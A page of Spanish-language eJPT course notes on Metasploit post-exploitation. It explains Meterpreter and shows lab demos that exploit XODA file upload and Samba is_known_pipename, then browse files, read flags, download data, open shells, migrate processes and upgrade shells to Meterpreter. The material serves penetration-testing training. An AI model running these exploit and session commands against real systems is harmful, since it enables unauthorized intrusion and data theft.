eJPT
  • 👋Welcome
  • Tools
    • 🔭Escaneo y Enumeración
  • SECTION 1: Assessment Methodologies
    • Assessment Methodologies: Information Gathering
      • Introducción a la Recopilación de Información
        • Start Quiz
      • Passive Information Gathering
      • Active Information Gathering
    • Assessment Methodologies: Footprinting & Scanning
      • Introduction
      • Networking Primer
      • Host Discovery
      • Port Scanning
      • Evasion, Scan Performance & Output
      • Page
      • Challenges
    • Assessment Methodologies: Enumeration
      • Overview
      • SMB Lesson
      • FTP Lesson
      • SSH Lesson
      • HTTP Lesson
      • SQL Lesson
    • Assessment Methodologies: Vulnerability Assessment
      • Vulnerability Assessment
      • Course Labs
  • SECTION 2: Host & Networking Auditing
    • Assessment Methodologies: Auditing Fundamentals
      • Assessment Methodologies
      • Practice
  • SECTION 3: Host & Network Penetration Testing
    • Host & Network Penetration Testing: System/Host Based Attacks
      • Introduction to Attacks
      • Windows Vulnerabilities
      • Exploiting Windows Vulnerabilities
      • Windows Privilege Escalation
      • Windows File System Vulnerabilities
      • Windows Credential Dumping
      • Linux Vulnerabilities
      • Exploiting Linux Vulnerabilities
      • Linux Privilege Escalation
      • Linux Credential Dumping
      • Conclusion
    • Host & Network Penetration Testing: Network-Based Attacks
      • Network-Based Attacks
    • Host & Network Penetration Testing: The Metasploit Framework (MSF)
      • Metasploit
        • Metasploit Fundamentals
      • Information Gathering & Enumeration
        • Nmap
        • Enumeration
      • Vulnerability Scanning
        • MSF
        • Nessus
        • Web Apps
      • Client-Side Attacks
        • Payloads
        • Automating
      • Exploitation
        • Windows Exploitation
        • Linux Exploitation
        • Post Exploitation Fundamentals
        • Windows Post Exploitation
        • Linux Post Exploitation
      • Armitage
        • Metasploit GUIs
    • Host & Network Penetration Testing: Exploitation
      • Introduction To Exploitation
      • Vulnerability Scanning Overview
      • Exploits
        • Searching For Exploits
        • Fixing Exploits
      • Shells
      • Frameworks
      • Windows
      • Linux
      • Obfuscation
    • Host & Network Penetration Testing: Post-Exploitation
      • Introduction
      • Windows Enumeration
      • Linux Enumeration
      • Transferring Files
      • Shells
      • Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
      • Persistence
        • Windows Persistence
        • Linux Persistence
      • Dumping & Cracking
        • Windows Password Hashes
        • Linux Password Hashes
      • Pivoting Lesson
      • Clearing
  • Host & Network Penetration Testing: Social Engineering
    • Social Engineering
  • SECTION 4: Web Application Penetration Testing
    • Introduction to the Web & HTTP Protocol
      • Web Applications
      • HTTP Protocol
        • HTTP/S Protocol Fundamentals
        • Website Crawling & Spidering
Powered by GitBook
On this page
  • Meterpreter Fundamentals
  • Post Exploitation
  • Meterpreter
  • Demo: Meterpreter Fundamentals
  • Quiz: Meterpreter Fundamentals
  • Upgrading Command Shells To Meterpreter Shells
  • Demo: Upgrading Command Shells To Meterpreter Shells
  • Quiz: Upgrading Command Shells To Meterpreter Shells
  1. SECTION 3: Host & Network Penetration Testing
  2. Host & Network Penetration Testing: The Metasploit Framework (MSF)
  3. Exploitation

Post Exploitation Fundamentals

PreviousLinux ExploitationNextWindows Post Exploitation

Last updated 9 months ago

Meterpreter Fundamentals

Se utilizara el proceso de utilizar el shell del interprete o la session del interprete como tambien se le conoce como esencialmente para navegar por el sistema destino, para ejecutar algunos comandos.

Post Exploitation

La fase de post explotación se refiere a las acciones realizadas en el sistema de destino después de que se haya obtenido el acceso inicial.

La fase de post explotación de una prueba de penetración consta de varias técnicas como:

  • Enumeración local

  • Privilege Escalation

  • Dumping Hashes

  • Establecimiento de persistencia

  • Clearing Your Tracks

  • Pivoting

Meterpreter

El payload de Meterpreter (Meta-Interpreter) es un payload multifuncional avanzado que opera a través de la inyección de DLL y se ejecuta en la memoria del sistema de destino, lo que dificulta su detección.

Se comunica a través de un socket de prueba y proporciona al atacante un intérprete de comandos interactivo en el sistema de destino que facilita la ejecución de comandos del sistema, la navegación por el sistema de archivos, el registro de teclas y mucho más.

Meterpreter también nos permite cargar scripts y complementos personalizados de forma dinámica. MSF nos proporciona varios tipos de payloads de meterpreter que se pueden utilizar según el entorno de destino y la arquitectura del sistema operativo.

Demo: Meterpreter Fundamentals

msf5 > workspace -a meterpreter
[ * ] Added workspace: meterpreter
[ * ] Workspace: meterpreter
msf5 > setg RHOSTS 192.3.56.3
msf5 > db_nmap -sv 192.3.56.3
msf5 > search xoda
msf5 > use exploit/unix/webapp/xoda_file_upload
msf5 exploit(unix/webapp/xoda_file_upload) > show options
msf5 exploit(unix/webapp/xoda_file_upload) > set TARGETURI /
msf5 exploit(unix/webapp/xoda_file_upload) > run
meterpreter > help
# Pude ejecutar la sesion en segundo plano escribiendo "background" o CTRL+Z
# Puede eliminar la sesion "EXIY"
meterpreter > background
msf5 exploit(unix/webapp/xoda_file_upload) > sessions
ID: Id de sesion exclusivo para cada session en particular
Name: El Atacante puede especificar el nombre de la session
Type: Tipo de acceso que tiene al objetivo
Information: Informacion basica sobre los privilegios o el estado actual
Connection: La conexion actul que se tiene 
# Puede iniciar sessiones sin interactar con la sesion "-C" para mas informacion
# Tambien podra establecer nombre a las sesiones

msf5 exploit(unix/webapp/xoda_file_upload) > sessions -h
# Algunos comandos que se puede utilizar en meterpreter
meterpreter > ls
No entries exist in /app/files
meterpreter > pwd
/app/files
meterpreter > cd ..
meterpreter > ls
Listing: /app
meterpreter > cat flagl
5c5ea439f040922188a22f88cecc5277
meterpreter > edit flagl
meterpreter > cd "Secret Files"
meterpreter > Is
Listing: /app/Secret Files
meterpreter > cat . flag2
bbbb3ed275e2614e27bff65faeaee8ae
meterpreter > cd
meterpreter > ls

# Puede descargar archivos. Puede especificar el path como no
meterpreter > download flag5.zip <Path_Linux>

# Podemos obtener el hash de un archivo
meterpreter > checksum md5 /bin/bash

# Podemos obtener la configuracion de la variable de entorno
meterpreter > getenv PATH

# Busqueda de archivos nombre/extension
meterpreter > search -d /usr/bin -f *backdoor*
Found 1 result...
/usr/bin\backdoor (66 bytes)
meterpreter > search -f *.jpg
No files matching your search were found.
meterpreter > search -f *.php
Found 5 results...
. \config.php (1284 bytes)
. \functions.php (40563 bytes)
. \index.php (57739 bytes)
. \phpinfo.php (19 bytes)
. \zipstream.php (18850 bytes)
# Abrir una sesion shell
meterpreter > shell
/bin/bash -i
www-data@victim-l:/app$ ps
# Salir de la sesion shell pero no del  meterpreter
www-data@victim-l:/app$ ^C
Terminate channel 6? [y/N] y
meterpreter >
# Migrar de proceso
meterpreter > ps
# Para migrar a cualquier proceso, la misma dependera de los privilegios que tenemos
meterpreter > migrate 580
meter reter > migrate -N apache2
# Creacion e eliminacion de directorios
meterpreter > mkdir test
Creating directory: test
meterpreter > ls
Listing: /app
meterpreter > rmdir test
Removing directory: test

Quiz: Meterpreter Fundamentals

Upgrading Command Shells To Meterpreter Shells

La actualización de un shell de comando a un shell Meterpreter permite un mayor control y flexibilidad en la explotación de un sistema. Meterpreter es una herramienta avanzada que forma parte del framework Metasploit y ofrece una amplia gama de funcionalidades que no están disponibles en los shells de comando tradicionales, como la captura de pantalla, el registro de teclas y la administración de archivos. Esta transición es crucial para realizar acciones post-explotación de manera más eficiente.

Demo: Upgrading Command Shells To Meterpreter Shells

msf5 > workspace -a upgrading_shells
[ * ] Added workspace: upgrading_shells
[ * ] Workspace: upgrading_shells
msf5 > setg RHOSTS 192.136.51.3
RHOSTS 192.136.51.3
msf5 > db_nmap -sv 192.136.51.3
msf5 > search type:exploit samba

msf5 > use exploit/linux/samba/is_known_pipename
msf5 exploit(linux/samba/is known pipename) > show options
msf5 exploit(linux/samba/is known pipename) > run
ctrl+z
# Mover la sesion de SHELL a Meterpreter
msf5 exploit(linux/samba/is_known_pipename) > search shell_to_meterpreter
msf5 exploit(linux/samba/is known pipename) > use post/multi/manage/shell_to_meterpreter

msf5 post(multi/manage/shell to meterpreter) > show options
msf5 post(multi/manage/shell to meterpreter) > set SESSION 1
msf5 post(multi/manage/shell to meterpreter) > set LHOST eth1
msf5 post(multi/manage/shell to meterpreter) > run
msf5 post(multi/manage/shell to meterpreter) > session
# Identificar en tipo el "Interpreter" e ingresar a la sesion correspondiente

# Tambien podemos actualizar la sesion actual a meterpreter
msf5 post(multi/manage/shell to_meterpreter) > sessions -u 1

Quiz: Upgrading Command Shells To Meterpreter Shells